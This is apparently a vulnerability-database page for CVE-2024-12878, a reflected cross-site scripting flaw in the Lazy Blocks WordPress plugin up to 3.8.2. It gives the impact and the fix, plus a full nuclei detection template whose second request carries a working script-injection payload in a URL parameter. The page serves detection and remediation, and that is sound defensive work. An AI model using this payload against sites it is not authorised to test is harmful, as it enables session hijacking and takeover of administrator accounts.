Browse / CVEs / CVE-2024-12878
CVE-2024-12878
Lazy Blocks <= 3.8.2 - Cross-Site Scripting
mediumseverity
0.6%likelihood of exploitation, next 30 days
50%of all CVEs are less likely
Readycheck to confirm it
Custom Block Builder WordPress plugin < 3.8.3 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load malicious page.
Impact
Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.
Fix
Update to version 3.8.3 or later.
How to confirm it
Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in") and status_code == 302
Send: GET /wp-admin/edit.php?post_type=lazyblocks&"></script><script>alert(1331)</script>=1"
Positive when: contains_all(body, "</script><script>alert(1331)</script>", "edit-lazyblocks", "lazyblocks") and contains(content_type, "text/html") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-12878 -u <target>
The full check
id: CVE-2024-12878
info:
name: Lazy Blocks <= 3.8.2 - Cross-Site Scripting
author: Shivam Kamboj
severity: medium
description: |
Custom Block Builder WordPress plugin < 3.8.3 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load malicious page.
impact: |
Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.
remediation: |
Update to version 3.8.3 or later.
reference:
- https://wpscan.com/vulnerability/827444d1-87cb-4057-827a-d802eac82cf8/
- https://nvd.nist.gov/vuln/detail/CVE-2024-12878
metadata:
verified: true
max-request: 2
tags: cve,cve2024,wordpress,wp,wp-plugin,lazy-blocks,xss,reflected,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- 'contains(header, "wordpress_logged_in")'
- 'status_code == 302'
condition: and
internal: true
- raw:
- |
GET /wp-admin/edit.php?post_type=lazyblocks&"></script><script>alert(1331)</script>=1" HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "</script><script>alert(1331)</script>", "edit-lazyblocks", "lazyblocks")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: andReferences
- https://wpscan.com/vulnerability/827444d1-87cb-4057-827a-d802eac82cf8/
- https://nvd.nist.gov/vuln/detail/CVE-2024-12878
Use this check only on systems you are authorised to test. Where the data comes from